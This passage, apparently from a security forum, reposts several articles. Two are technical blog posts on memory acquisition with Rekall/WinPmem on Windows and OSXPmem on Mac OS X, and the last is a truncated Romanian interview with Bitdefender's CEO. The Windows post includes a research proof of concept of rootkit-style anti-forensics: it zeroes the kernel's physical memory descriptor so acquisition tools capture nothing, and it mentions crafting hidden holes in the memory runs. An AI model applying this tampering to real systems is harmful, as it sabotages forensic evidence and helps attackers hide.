the PCI controller and mapping each PCI device's DMA buffer (plug and play) into one of the gaps in the physical address space. Note that these gaps may not actually be backed by any RAM chips at all (which means that a write to that location will simply not stick - reading it back will produce 0). The important thing to take from this is that the physical memory configuration is done by the machine BIOS on its own (independent of the running operating system). The OS kernel needs to live with whatever configuration the hardware boots with. The hardware will typically install some gaps in the physical address range so that PCI devices can be mapped inside them (Some PCI devices can only address 4GB so there must be sufficient space in the lower 4GB of physical address space for these.). Since the operating system can only query the physical memory map when running in real mode, but needs to use it to configure PCI devices while running in protected mode, there must be a data structure somewhere which keeps this information around. When WinPmem queries for this information, it can not be retrieved directly from the BIOS - since the machine is already running in protected mode. The usual way to get the physical memory ranges is to call MmGetPhysicalMemoryRanges(). This is the function API: PPHYSICAL_MEMORY_DESCRIPTOR NTAPI MmGetPhysicalMemoryRanges(VOID); We can get Rekall to disassemble this function for us. First we initialize the notebook, opening the winpmem driver to analyze the live system. Since Rekall uses exact profiles generated from accurate debugging information for the running system, it can resolve all debugging symbols directly. We therefore can simply disassemble the function by name: from rekall import interactive interactive.ImportEnvironment(filename=r"\\.\pmem") dis "nt!MmGetPhysicalMemoryRanges" Address Rel Op Codes Instruction Comment -------------- ---- -------------------- ------------------------------ ------- ------ nt!MmGetPhysicalMemoryRanges ------ 0xf80002cd9690 0 488bc4 MOV RAX, RSP 0xf80002cd9693 3 48895808 MOV [RAX+0x8], RBX 0xf80002cd9697 7 48896810 MOV [RAX+0x10], RBP 0xf80002cd969b B 48897018 MOV [RAX+0x18], RSI 0xf80002cd969f F 48897820 MOV [RAX+0x20], RDI 0xf80002cd96a3 13 4154 PUSH R12 0xf80002cd96a5 15 4155 PUSH R13 0xf80002cd96a7 17 4157 PUSH R15 0xf80002cd96a9 19 4883ec20 SUB RSP, 0x20 0xf80002cd96ad 1D 65488b1c2588010000 MOV RBX, [GS:0x188] 0xf80002cd96b6 26 41bf11000000 MOV R15D, 0x11 0xf80002cd96bc 2C 4533e4 XOR R12D, R12D 0xf80002cd96bf 2F f6835904000020 TEST BYTE [RBX+0x459], 0x20 0xf80002cd96c6 36 458d6ff0 LEA R13D, [R15-0x10] 0xf80002cd96ca 3A 7405 JZ 0xf80002cd96d1 nt!MmGetPhysicalMemoryRanges + 0x41 0xf80002cd96cc 3C 418bfc MOV EDI, R12D 0xf80002cd96cf 3F eb2a JMP 0xf80002cd96fb nt!MmGetPhysicalMemoryRanges + 0x6B 0xf80002cd96d1 41 66ff8bc6010000 DEC WORD [RBX+0x1c6] 0xf80002cd96d8 48 33c0 XOR EAX, EAX 0xf80002cd96da 4A f04c0fb13de5e4dcff LOCK CMPXCHG [RIP-0x231b1b], R15 0x0 nt!MmDynamicMemoryLock 0xf80002cd96e3 53 740c JZ 0xf80002cd96f1 nt!MmGetPhysicalMemoryRanges + 0x61 0xf80002cd96e5 55 488d0ddce4dcff LEA RCX, [RIP-0x231b24] 0x0 nt!MmDynamicMemoryLock 0xf80002cd96ec 5C e83f00c3ff CALL 0xf80002909730 nt!ExfAcquirePushLockShared 0xf80002cd96f1 61 808b5904000020 OR BYTE [RBX+0x459], 0x20 0xf80002cd96f8 68 418bfd MOV EDI, R13D 0xf80002cd96fb 6B 488b053679e3ff MOV RAX, [RIP-0x1c86ca] 0xFFFFFA8001793FD0 nt!MmPhysicalMemoryBlock 0xf80002cd9702 72 33c9 XOR ECX, ECX 0xf80002cd9704 74 41b84d6d5068 MOV R8D, 0x68506d4d 0xf80002cd970a 7A 8b10 MOV EDX, [RAX] 0xf80002cd970c 7C 4103d5 ADD EDX, R13D 0xf80002cd970f 7F c1e204 SHL EDX, 0x4 0xf80002cd9712 82 e8f944d3ff CALL 0xf80002a0dc10 nt!ExAllocatePoolWithTag 0xf80002cd9717 87 488be8 MOV RBP, RAX 0xf80002cd971a 8A 493bc4 CMP RAX, R12 0xf80002cd971d 8D 7545 JNZ 0xf80002cd9764 nt!MmGetPhysicalMemoryRanges + 0xD4 0xf80002cd971f 8F 413bfd CMP EDI, R13D 0xf80002cd9722 92 7539 JNZ 0xf80002cd975d nt!MmGetPhysicalMemoryRanges + 0xCD 0xf80002cd9724 94 498bc7 MOV RAX, R15 0xf80002cd9727 97 f04c0fb12598e4dcff LOCK CMPXCHG [RIP-0x231b68], R12 0x0 nt!MmDynamicMemoryLock 0xf80002cd9730 A0 740c JZ 0xf80002cd973e nt!MmGetPhysicalMemoryRanges + 0xAE 0xf80002cd9732 A2 488d0d8fe4dcff LEA RCX, [RIP-0x231b71] 0x0 nt!MmDynamicMemoryLock 0xf80002cd9739 A9 e80655bfff CALL 0xf800028cec44 nt!ExfReleasePushLockShared 0xf80002cd973e AE 80a359040000df AND BYTE [RBX+0x459], 0xdf 0xf80002cd9745 B5 664401abc6010000 ADD [RBX+0x1c6], R13W 0xf80002cd974d BD 750e JNZ 0xf80002cd975d nt!MmGetPhysicalMemoryRanges + 0xCD 0xf80002cd974f BF 488d4350 LEA RAX, [RBX+0x50] Note that Rekall is able to resolve the addresses back to the symbol names by using debugging information. This makes reading the disassembly much easier. We can see that this function essentially copies the data referred to from the symbol nt!MmPhysicalMemoryBlock into user space. Lets dump this memory: dump "nt!MmPhysicalMemoryBlock", rows=2 Offset Hex Data Comment -------------- ------------------------------------------------ ---------------- ------- 0xf80002b11038 d0 3f 79 01 80 fa ff ff 01 00 01 00 fe 3d 09 a1 .?y..........=.. nt!MmPhysicalMemoryBlock + 0 0xf80002b11048 a0 a8 83 01 80 fa ff ff 70 6a 7b 01 80 fa ff ff ........pj{..... nt!IoFileObjectType + 0 This appears to be an address, lets dump it: dump 0xfa8001793fd0, rows=4 Offset Hex Data Comment -------------- ------------------------------------------------ ---------------- ------- 0xfa8001793fd0 02 00 00 00 00 00 00 00 8e cf 07 00 00 00 00 00 ................ 0xfa8001793fe0 01 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 ................ 0xfa8001793ff0 00 01 00 00 00 00 00 00 f0 ce 07 00 00 00 00 00 ................ 0xfa8001794000 fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................ The data at this location contains a struct of type _PHYSICAL_MEMORY_DESCRIPTOR which is also the return value from the MmGetPhysicalMemoryRanges()call. We can use Rekall to simply construct this struct at this location and print out all its members. memory_range = session.profile._PHYSICAL_MEMORY_DESCRIPTOR(0xfa8001793fd0) print memory_range [_PHYSICAL_MEMORY_DESCRIPTOR _PHYSICAL_MEMORY_DESCRIPTOR] @ 0xFA8001793FD0 0x00 NumberOfRuns [unsigned long:NumberOfRuns]: 0x00000002 0x08 NumberOfPages [unsigned long long:NumberOfPages]: 0x0007CF8E 0x10 Run <Array 2 x _PHYSICAL_MEMORY_RUN @ 0xFA8001793FE0> for r in memory_range.Run: print r [_PHYSICAL_MEMORY_RUN Run[0] ] @ 0xFA8001793FE0 0x00 BasePage [unsigned long long:BasePage]: 0x00000001 0x08 PageCount [unsigned long long:PageCount]: 0x0000009E [_PHYSICAL_MEMORY_RUN Run[1] ] @ 0xFA8001793FF0 0x00 BasePage [unsigned long long:BasePage]: 0x00000100 0x08 PageCount [unsigned long long:PageCount]: 0x0007CEF0 So what have we found? There is a symbol called nt!MmPhysicalMemoryBlock which is a pointer to a _PHYSICAL_MEMORY_DESCRIPTOR struct. This struct contains the total number of runs, and a list of each run in pages (0x1000 bytes long). Lets write a Rekall plugin for this: from rekall.plugins.windows import common class WinPhysicalMap(common.WindowsCommandPlugin): """Prints the boot physical memory map.""" __name = "phys_map" def render(self, renderer): renderer.table_header([ ("Physical Start", "phys", "[addrpad]"), ("Physical End", "phys", "[addrpad]"), ("Number of Pages", "pages", "10"), ]) descriptor = self.profile.get_constant_object( "MmPhysicalMemoryBlock", target="Pointer", target_args=dict( target="_PHYSICAL_MEMORY_DESCRIPTOR", )) for memory_range in descriptor.Run: renderer.table_row( memory_range.BasePage * 0x1000, (memory_range.BasePage + memory_range.PageCount) * 0x1000, memory_range.PageCount) This plugin will be named phys_map and essentially creates a table with three columns. The memory descriptor is created directly from the profile, then we iterate over all the runs and output the start and end range into the table. phys_map Physical Start Physical End Number of Pages -------------- -------------- --------------- 0x000000001000 0x00000009f000 158 0x000000100000 0x00007cff0000 511728 So far, this is a pretty simple plugin. However, lets put on our black hat for a sec. In our DFRWS 2013 paper we pointed out that since most memory acquisition tools end up calling MmGetPhysicalMemoryRanges() (all the ones we tested at least), then by disabling this function we would be able to sabotage all memory acquisition tools. This turned out to be the case, however, by patching the running code in memory we would trigger Microsoft's Patch Guard. In our tests, we disabled Patch Guard to prove the point, but this is less practical in a real rootkit. In reality, a rootkit would like to be able to modify the underlying data structure behind the API call itself. This is much easier to do and wont modify any kernel code, thereby bypassing Patch Guard protections. To test this, we can do this directly from Rekall's interactive console. descriptor = session.profile.get_constant_object( "MmPhysicalMemoryBlock", target="Pointer", target_args=dict( target="_PHYSICAL_MEMORY_DESCRIPTOR", )).dereference() print descriptor [_PHYSICAL_MEMORY_DESCRIPTOR Pointer] @ 0xFA8001793FD0 0x00 NumberOfRuns [unsigned long:NumberOfRuns]: 0x00000002 0x08 NumberOfPages [unsigned long long:NumberOfPages]: 0x0007CF8E 0x10 Run <Array 2 x _PHYSICAL_MEMORY_RUN @ 0xFA8001793FE0> Since we loaded the memory driver with write support, we are able to directly modify each field in the struct. For this proof of concept we simply set the NumberOfRuns to 0, but a rootkit can get creative by modifying the runs to contain holes located in strategic regions. By specifically crafting a physical memory descriptor with a hole in it, we can cause memory acquisition tools to just skip over some region of the physical memory. The responders can then walk away thinking they have their evidence, but critical information is missing. descriptor.NumberOfRuns = 0 Now we can repeat our phys_map plugin, but this time, no runs will be found: phys_map Physical Start Physical End Number of Pages -------------- -------------- --------------- To unload the driver, we need to close any handles to it. We then try to acquire a memory image in the regular way. session.physical_address_space.close() !c:/Users/mic/winpmem_write_1.5.5.exe test.raw Driver Unloaded. Loaded Driver C:\Users\mic\AppData\Local\Temp\pme3879.tmp. Will generate a RAW image CR3: 0x0000187000 0 memory ranges: Acquitision mode PTE Remapping Driver Unloaded. This time, however, Winpmem reports no memory ranges available. The result image is also 0 bytes big: !dir test.raw Volume in drive C has no label. Volume Serial Number is 6438-7315 Directory of C:\Users\mic 03/07/2014 12:02 AM 0 test.raw 1 File(s) 0 bytes 0 Dir(s) 3,416,547,328 bytes free At this point, running the dumpit program from moonsols will cause the system to immediately reboot. (It seems that dumpit is unable to handle 0 memory ranges gracefully and crashes the kernel). How stable is this? We have just disabled a kernel function, but this might de-stabilize the system. What other functions in the kernel are calling MmGetPhysicalMemoryRanges? Lets find out by disassembling the entire kernel. First we need to find the range of memory addresses the kernel code is in. We use the peinfo plugin to show us the sections which are mapped into memory. peinfo "nt" Attribute Value ---------------------- ----- Machine IMAGE_FILE_MACHINE_AMD64 TimeDateStamp 2009-07-13 23:40:48+0000 Characteristics IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_LARGE_ADDRESS_AWARE GUID/Age F8E2A8B5C9B74BF4A6E4A48F180099942 PDB ntkrnlmp.pdb MajorOperatingSystemVersion 6 MinorOperatingSystemVersion 1 MajorImageVersion 6 MinorImageVersion 1 MajorSubsystemVersion 6 MinorSubsystemVersion 1 Sections (Relative to 0xF8000261F000): Perm Name VMA Size ---- -------- -------------- -------------- xr- .text 0x000000001000 0x00000019b800 xr- INITKDBG 0x00000019d000 0x000000003a00 These are Executable sections. xr- POOLMI 0x0000001a1000 0x000000001c00 xr- POOLCODE 0x0000001a3000 0x000000003000 xrw RWEXEC 0x0000001a6000 0x000000000000 -r- .rdata 0x0000001a7000 0x00000003ca00 -rw .data 0x0000001e4000 0x00000000fc00 -r- .pdata 0x000000278000 0x00000002fa00 -rw ALMOSTRO 0x0000002a8000 0x000000000800 -rw SPINLOCK 0x0000002aa000 0x000000000a00 xr- PAGELK 0x0000002ac000 0x000000014c00 xr- PAGE 0x0000002c1000 0x000000232600 xr- PAGEKD 0x0000004f4000 0x000000004e00 xr- PAGEVRFY 0x0000004f9000 0x000000021600 xr- PAGEHDLS 0x00000051b000 0x000000002800 xr- PAGEBGFX 0x00000051e000 0x000000006800 -rw PAGEVRFB 0x000000525000 0x000000000000 -r- .edata 0x000000529000 0x000000010a00 -rw PAGEDATA 0x00000053a000 0x000000004c00 -r- PAGEVRFC 0x000000548000 0x000000002a00 -rw PAGEVRFD 0x00000054b000 0x000000001400 xrw INIT 0x00000054d000 0x000000056c00 -r- .rsrc 0x0000005a4000 0x000000035e00 -r- .reloc 0x0000005da000 0x000000002200 Data Directories: - VMA Size ---------------------------------------- -------------- -------------- IMAGE_DIRECTORY_ENTRY_EXPORT 0xf80002b48000 0x000000010962 IMAGE_DIRECTORY_ENTRY_IMPORT 0xf80002bc1cec 0x000000000078 IMAGE_DIRECTORY_ENTRY_RESOURCE 0xf80002bc3000 0x000000035d34 IMAGE_DIRECTORY_ENTRY_EXCEPTION 0xf80002897000 0x00000002f880 IMAGE_DIRECTORY_ENTRY_SECURITY 0xf80002b5ec00 0x000000001c50 IMAGE_DIRECTORY_ENTRY_BASERELOC 0xf80002bf9000 0x000000002078 IMAGE_DIRECTORY_ENTRY_DEBUG 0xf800027bb5c0 0x000000000038 IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x000000000000 0x000000000000 IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x000000000000 0x000000000000 IMAGE_DIRECTORY_ENTRY_TLS 0x000000000000 0x000000000000 IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x000000000000 0x000000000000 IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x000000000000 0x000000000000 IMAGE_DIRECTORY_ENTRY_IAT 0xf800027c6000 0x000000000380 IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x000000000000 0x000000000000 IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x000000000000 0x000000000000 IMAGE_DIRECTORY_ENTRY_RESERVED 0x000000000000 0x000000000000 Import Directory (Original): Name Ord -------------------------------------------------- ----- Export Directory: Entry Stat Ord Name -------------- ---- ----- -------------------------------------------------- 0xf80002677794 M 0 ntoskrnl.exe!AlpcGetHeaderSize (nt!AlpcGetHeaderSize) 0xf80002677760 M 1 ntoskrnl.exe!AlpcGetMessageAttribute (nt!AlpcGetMessageAttribute) 0xf80002665eb0 M 2 ntoskrnl.exe!AlpcInitializeMessageAttribute (nt!AlpcInitializeMessageAttribute) 0xf800026b5ac0 M 3 ntoskrnl.exe!CcCanIWrite (nt!CcCanIWrite) 0xf8000262a244 M 4 ntoskrnl.exe!CcCoherencyFlushAndPurgeCache (nt!CcCoherencyFlushAndPurgeCache) ... (Truncated) 0xf80002b4d2ab M 2111 ntoskrnl.exe! (None) Version Information: key value -------------------- ----- Now instead of disassembling to the interactive notebook, we store it in a file. This does take a while but will produce a large text file containing the complete disassembly of the windows kernel (With debugging symbols cross referenced). dis offset=0xF8000261F000+0x1000, end=0xF8000261F000+0x525000, output="ntkrnl_amd64.dis" Now we can use our favourite editor (Emacs) to check all references to MmGetPhysicalMemoryRanges. We can see references from: nt!PfpMemoryRangesQuery - Part of ExpQuerySystemInformation. nt!IoFillDumpHeader - Called from crashdump facility. nt!IopGetPhysicalMemoryBlock - Called from crashdump facility. We can also check references to MmPhysicalMemoryBlock. Many of these functions appear related to the Hot-Add memory functionality: nt!IoSetDumpRange nt!MiFindContiguousPages nt!MmIdentifyPhysicalMemory nt!MmReadProcessPageTables nt!MiAllocateMostlyContiguous nt!IoFillDumpHeader nt!MiReleaseAllMemory nt!MmDuplicateMemory nt!MiRemovePhysicalMemory nt!MmAddPhysicalMemory nt!MmGetNumberOfPhysicalPages - This seems to be called from Hibernation code. nt!MiScanPagefileSpace nt!MmPerfSnapShotValidPhysicalMemory nt!MmGetPhysicalMemoryRanges Some testing remains to see how stable this modification is in practice. It appears that probably Hot Add memory will no longer work, and possibly hibernation will fail (Hibernation is an alternate way to capture memory images, as Rekall can also operate on hibernation files). Although the above suggests that crash dumps are affected, I have tried to produce a crashdump after this modification, but it still worked as expected (This is actually kind of interesting in itself). PS This note was written inside Rekall itself by using the IPython notebook interface. Source
  19. Late in 2012, the only free solution for Mac memory acquisition was MacMemoryReader, which is not open source and depends on a binary distribution of the driver to be built especially for the target kernel. This means MacMemoryReader actually carries 5 different versions of it's kernel extension in it's supportfiles directory, and automatically chooses the correct one as long as it is used on a system that was supported at the time the program got packaged. These constraints didn't fit our use case very well, which is why I developed an open source memory acquisition program for Mac OSX called OSXPmem. This program was designed specifically with the goal to be as operating system independent as possible, while providing a stable way to acquire memory even on future versions of Mac OSX. With the 10.9 release of OSX, MacMemoryReader stopped working (it only packages drivers for OSX 10.5 - 10.8). Fortunately, OSXPmem still works and is currently the only free memory acquisition tool which is able to acquire memory on Mac OSX 10.9 or higher. In this blogpost I want to elaborate a bit on the reasons for that, while also giving an overview on how memory acquisition on Mac OSX actually works under the hood. How Memory Acquisition is Implemented Because of memory protection it is not possible for a normal user-mode application to just go ahead and read all the memory. Each process resides in a virtual address space which is mapped into physical memory using paging. The data-structures used for this are managed by the kernel, and can only be accessed from system-mode. This is the reason why any memory acquisition program must first load a driver into the kernel, that provides the actual memory access. Enumerating Physical Memory Physical memory is not continuous, so don't expect the physical address space of a computer with e.g. 4GB of RAM to be laid out as one chunk from 00000000 - FFFFFFFF. The physical address space itself is again a virtual construct, controlled by the northbridge. For faster access to device memory, many hardware devices like graphics or network cards map parts of their integrated memory or registers into the physical address space via memory mapped I/O. The BIOS (or on modern systems the EFI) initializes the hardware on boot and arranges all these memory chunks into something called the physical address space. Here is a redacted example of the layout on my laptop: Size of physical address space: 6171918336 bytes (206 segments) Memory Type Start Addr End Addr Conventional 0000000000000000 000000000008f000 Reserved 000000000008f000 0000000000090000 Conventional 0000000000090000 00000000000a0000 Reserved 00000000000a0000 0000000000100000 ... Conventional 0000000100000000 000000016fe00000 Regions marked "Conventional" are guaranteed to be backed by physical memory, while regions marked "Reserved" might contain device memory. It should be avoided to read from the reserved regions, as this can trigger interrupts on a device and thus even result in a hardware malfunction, system instability and a kernel crash. If you're interested in more details I can recommend Gustavo Duarte's excellent articles Getting Physical With Memory and Motherboard Chipsets and the Memory Map. The bottom line is that a memory acquisition tool must find out how physical memory is laid out in order to acquire it in a way that does not cause instability and thus loss of the desired data. This is usually done by querying the kernel, as it manages physical memory and has to know it's layout. On Mac OSX the EFI passes this information to the component of the kernel called the platform expert, which stores it in a data-structure in PE_state.bootArgs->MemoryMap. If you look at line 13 of PE_state_raw.dtrace in MacMemoryReader's supportfiles directory, you can see how it is obtained: self->kgm_boot_args = ((struct boot_args*)(`PE_state).bootArgs); OSXPmem uses the same source of information to obtain the memory map. Unfortunately this information is not very reliable, as this data-structure is not used by the kernel at runtime, making it an easy target for rootkit manipulation. In one of our papers last year we showed that it is trivial to overwrite this data-structure, making memory acquisition impossible on the system. We also implemented a more reliable way to obtain an accurate memory map in that publication. However, this has not been implemented for OSX yet. Mapping Physical Memory Because even the kernel operates inside virtual memory, the memory acquisition driver needs to map physical memory into the kernels address space. On OSX, this is ultimately done by the Mach portion of the kernel. However, kernel extensions are not allowed to link directly to kernel functions. Instead, they are linked to Kernel Programming Interfaces (KPI), which are interfaces to a limited set of symbols Apple allows kernel extensions to use. The functions available through these interfaces can change with every kernel release, especially the ones in the "unsupported" KPI (where the Platform Experts state is linked from). But even supported KPIs like the ones for physical memory mapping can change, as Apple has shown in the past. Both OSXPmem and MacMemoryReader use a simple BSD kernel extension (kext) to provide memory access. However, physical memory mapping is only supported from Apples IOKit framework. This is the reason why both kext use the IOMemoryDescriptor class to map memory into the kernel. Now with the introduction of memory compression in OSX 10.9 this method has been found to cause problems. The kernel can compress and uncompress memory on the fly, and doesn't want any other driver touching it. It is entirely possible that in future OSX releases some KPIs will change and this method of mapping memory will not be possible at all. Luckily, we have also developed a different mapping technique. Originally intended as a rootkit resilient mapping technique, this approach has also proven to be very reliable on any major operating system. It works by directly modifying the page tables and clearing the caches, forcing the memory management unit (MMU) to remap an existing virtual address. As illustrated in Figure 1, a virtual page called "Rogue Page" is remapped by editing the page table entry (PTE) directly and then flushing the translation lookaside buffer (TLB). This enables us to access any arbitrary page in the physical address space, without any kernel dependency. Details on this approach can be found in our paper. Figure 1: PTE Remapping By "bypassing" the kernel when accessing memory this technique does not depend on any KPIs and thus isn't affected by compressed RAM or any obstacles Apple might decide to put into the IOMemoryDescriptor in future versions of OSX. This is why we made it the default mapping method in WinPmem and OSXPmem. We expect this method to be more stable and resilient to changes in the kernel and even anti-forensic techniques. Kernel Extention Code Signing With the release of OSX 10.9 Apple has changed it's previous policy on driver signature enforcement. While it was previously possible to sign a kernel extension, unsigned kext could also be loaded without any issues. In 10.9 and later, the kext loader displays a warning message when an unsigned kext is loaded. It is very likely that Apple will adopt the Microsoft approach at some time, preventing unsigned kext to be loaded. This is why we also provide a signed binary for OSXPmem RC2 on the Rekall download page. 32-bit Kernel Support OSXPmem only supports Macs using the 64-bit version of OSX. Apple introduced 64-bit builds with OSX 10.6, making it the default with 10.7. Since OSX 10.8, the 32-bit kernel is deprecated and all Macs running 10.8 or higher should be running in 64 bit mode. This means OSXPmem will not work on OSX 10.5 or older, and might not work on some 10.6 systems. I will not add 32-bit support, as these kernels are deprecated and only run on very old machines anyways. If you need to acquire memory from such a system I encourage you to use MacMemoryReader. Source
  20. ?Compania romaneasca Bitdefender va creste anul acesta cu 35% si asteapta un avans de 45% in 2015, an in care va lansa mai multe produse de securitate, inclusiv terminalul BOX gandit sa protejeze casele in care exista cat mai multe lucruri conectate la internet. Compania are 700 de angajati si planuieste sa creasca numarul in urmatorii ani, insa desi 80% dintre ei sunt in tara, multi romani nu stiu ca Bitdefender este o companie locala. Mai jos puteti citi un interviu HotNews.ro cu Florin Talpes, CEO al Bitdefender care vorbeste despre solutiile informatice ale viitorului, despre o campanie media inedita ca scop, despre ceasuri inteligente si despre cum sunt perceputi romanii in diverse locuri din lume. Informatia pe scurt: - BItdefender va incheia anul cu o crestere de 35% a business-ului, la anul are ca obiectiv un avans de peste 45%, iar in 2016 ar vrea un procent si mai mare. Doua directii principale vor genera cresterea: securizarea cloud-ului pentru IMM-uri si securizarea centrelor de date. - Bitdefender isi obtine 35% din venituri din SUA si 45% din Europa de Vest, unde cea mai mare piata e Franta. Romania a contribuit cu numai 2% "Daca ne uitam la cat reprezinta piata romaneasca per ansamblu, e o pozitie corecta. Daca ne uitam la faptul ca Bitdefender pleaca din Romania, probabil ca ne-am astepta ca Romania sa reprezinte ceva mai mult". - Compania deruleaza o campanie media prin care comunica publicului faptul ca este din Romania si solutiile dezvoltate aici sunt folosite de 500 de milioane de oameni. "Majoritatea celor care stiu de noi nu percep Bitdefender ca un brand provenit din Romania. E perceput ca fiind un brand care vine din alta parte" - Compania de securitate informatica are 700 de angajati, dintre care 600 in Romania, iar numarul va creste constant in urmatorii ani, cam cu 10-15% de la an la an. Romania ramane o piata esentiala datorita ponderii in numarul total de angajati "Prin campanie ne intereseaza sa crestem notorietatea noastra ca echipa, vanzarile sunt pe plan secundar" - "Romanii au crezut mult timp ca produsele create in tara sunt de mana a doua: platesti putin pe ele, dar sunt de proasta calitate". Lucrurile se schimba si in cateva domenii - spre exemplu vinurile si imbracaminte-incaltaminte - romanii au lansat in ultimii ani produse premium. - In America romanii sunt cunoscuti ca fiind extrem de buni la matematica, la orice univeristate din top 25 se gaseste cel putin un profesor roman de matematica. In Asia nu prea se face diferenta dintre Europa de Vest si de Est, acolo europenii in general au o imagine buna. - Bitdefender a anuntat recent BOX, un terminal hardware care asigura securitatea informatica pentru casele in care exista cat mai multe lucruri conectate la internet. BOX va fi lansata in SUA si Europa de Vest, insa ar putea fi lansata si in Romania. Sunt planuri si pentru lansarea unei solutii pentru IMM-uri. - BOX are o componenta software cu un rol foarte important "Acest terminal are o replica virtuala in cloud si oricine va cumpara BOX va avea in cloud o copie, o "umbra" a ei si ea va permite protejarea terminalelor si in afara casei. BOX e un fel de sfera magica prin care, daca trec un dispozitiv si zic <vreau sa fie protejat de BOX indifierent unde merg cu el> va putea fi protejat datorita replicii din cloud". - Compania a testat in SUA o solutie inovativa de securitate care va fi lansata in 2015. Solutia va face ca un sistem sa fie mult mai greu de penetrat in cazul unui atac. Facand paralela cu o casa, Florin Talpes spune: "cine va folosi securitatea noastra va avea toate usile si ferestrele super-incuiate cu multiple nivele de incuietori" - In Romania, operatorii de telefonie mobila au devenit un canal de distributie al solutiilor de securitate fiindca este si interesul lor ca utilizatorii sa aiba cat mai putine probleme cu telefoanele si tabletele. - Ceasurile inteligente vor deveni foarte populare datorita marcilor locale care le vor comercializa la preturi mici. In cativa ani un smartwatch la peste 300 de lei va fi considerat scump, iar segmentul va beneficia si de aparitia ceasurilor specializate, de nisa, cum ar fi unele care sa ajute varstnicii sa-si ia medicamentele la timp. Interviul complet: Vlad Barza: Anul trecut, Bitdefender a crescut cu peste 25%. Cum se incheie anul acesta si ce asteptari aveti pentru 2015? Florin Talpes: Bitdefender este intr-o faza de accelerare a cresterii. Anul trecut am crescut cu peste 25%, anul acesta crestem cu peste 35% si speram ca anul viitor sa construim lucrurile in asa fel incat sa crestem cu peste 45%. Am spus accelerare, fiindca suntem o faza in care cresterea...creste. Vlad Barza: Si, realist vorbind, accelerarea aceasta cati ani va asteptati sa dureze? Florin Talpes: Exista diverse modele in care poti sa cresti, de exemplu, mai multi ani de zile cu 30% sau este posibil ca intr-un an sa aiba loc o explozie, sa cresti cu peste 100%. Noi ne pregatim pentru o "explozie" si speram ca in 2016 cresterea sa fie si mai mare decat in 2015. Cat va fi de mare, depinde, am vrea ca pe anumite segmente de piata sa fie, cum spunem noi, "oricat de mare". Vlad Barza: Spuneati acum cateva luni la un eveniment de tehnologie despre un plan de business pana in 2017. Ce prevede el si ce segmente ar duce la cresteri atat de mari? Florin Talpes: Cand vorbim de zona de intreprinderi (sau corporatii, cum li se spune in "afara"), zona solutiilor pentru business, avem doua segmente pe care ne focalizam mult, unul fiind zona de securizare a cloud-ului pentru IMM-uri, segment cu un potential urias. Intreprinderile trec tot mai mult la "cloud", iar asta inseamna ca trec la cloud-ul public, in sensul ca ele cumpara de la alti furnizori servicii bazate pe IT. Ca si servicii, companiile pot inchiria hardware daca au nevoie sau aplicatii de gestiunea intreprinderii sau a relatiilor cu clientii. Sunt multe servicii pe care intreprinderile le cumpara de la furnizorii de cloud. Exista un canal intreg, se cheama mananged serviced provider MSP, fostii reselleri se muta catre MSP-uri si vin cu valoare adaugata si servicii, iar noi ne focalizam pe aceasta directie de securizare a serviciilor de cloud. A doua directie este data center. Cloud-ul, fie ca e public, fie ca e privat, e materializat printr-un centru de date care consta intr-o incapere sau mai multe cu rack-uri pline de de servere. Ei bine, pe noi ne intereseaza foarte mult securitatea centrelor de date pentru ca daca vorbim despre ele, vorbim despre virtualizare. Cloud-ul are in spate centrele de date, iar ele au in spate mediile virtuale. Ce inseamna aceste medii? In general, cand cineva investeste intr-un data center, face o investitie mare fiindca sunt cerinte extrem de dure legate de continuitatea centrului de date: de exemplu protectia la cutremure, sistemele de racire, continuitatea alimentarii cu energie. Sunt o gramada de lucruri ce presupun investitii foarte mari. Ei bine, cand incepi sa echipezi centrul cu servere, cu hard-uri, vrei ca pe acele hard-uri sa ruleze cat mai multe aplicatii si aici a aparut ideea asta de virtualizare, in sensul ca pe un server pot sa ruleze si sute de sisteme de operare concomitent. In trecut eram obisnuiti cu un server un sistem de operare, o aplicatie. Ei bine, astazi, pe un server ruleaza multe sisteme de operare si mai multe aplicatii care de exemplu pot sa ruleze timp de cinci minute si apoi se sting, urmeaza alte aplicatii si sunt o gramada de virtualizari sau masini virtuale care se pun "deasupra" unui echipament hardware. Solutiile traditionale in general "omoara" densitatea masinilor virtuale fiindca cine investeste intr-un centru de date vrea o densitate cat mai mare, adica pe un hard sa fie cat mai multe "masini virtuale", In loc sa ai, de exemplu, 100 de masini virtuale, cu solutiile traditionale de securitate puteai sa ai doar 40-50 de "masini virtuale" pentru ca solutiile de securitate consumau din resursele hard-ului (banda, procesor, memorie). Noi suntem printre putinii din piata care oferim solutii adaptate masinilor virtuale si noi "tinem promisiunea virtualizarii" si accesul nu "omoara" numarul de masini virtuale, ci le tine la un nivel cat mai inalt, in asa fel incat sa nu "deranjeze". Securitatea isi poate juca rolul de a oferi protectie, dar sa nu omoare densitatea de masini virtuale. Asadar, cand vorbim de segmente de piata ne intereseaza securizarea cloud-ului pentru IMM-uri si securizarea centrelor de date care inseamna in general medii virtuale si ne referim la intreprinderile medii si mari. Vlad Barza: Dar care sunt cele mai mari piete pentru Bitdefender? Florin Talpes: SUA reprezinta peste 35% din vanzarile noastre globale, iar ca regiune, Europa de Vest este cea mai mare, cu 45% din vanzarile totale. Cand vorbim strict de tari, in prezent piata numarul doi este Franta, urmata de Germania si apoi vorbim de tarile nordice si Marea Britanie. Vlad Barza: Desi Bitdefender este companie romaneasca si 80% dintre angajati sunt aici, realizati in tara doar 2% din business. Ei bine, acest procent vi se pare suparator de mic sau e logic, dat fiind ca sunteti o companie globala iar Romania e o tara mica? Florin Talpes: In 2013 asa a fost, 98% din business a fost generat in afara tarii. De-a lungul anilor am vazut variatii de la 2 la 4%. Daca ne uitam la cat reprezinta piata romaneasca per ansamblu, e o pozitie corecta. Daca ne uitam la faptul ca Bitdefender pleaca din Romania, probabil ca ne-am astepta ca Romania sa reprezinte ceva mai mult. Vlad Barza: Derulati campania media "Inteligenta din Romania" si clar ca va creste notorietatea in randul romanilor. Multi romani care nu stiu de unde este Bitdefender afla acum de la radio, de la televizor. Insa acest lucru va poate creste si vanzarile din Romania? Florin Talpes: Nu acesta a fost scopul principal. Bitdefender e o companie care are majoritatea echipei localizate in Romania. Aici este centrul de 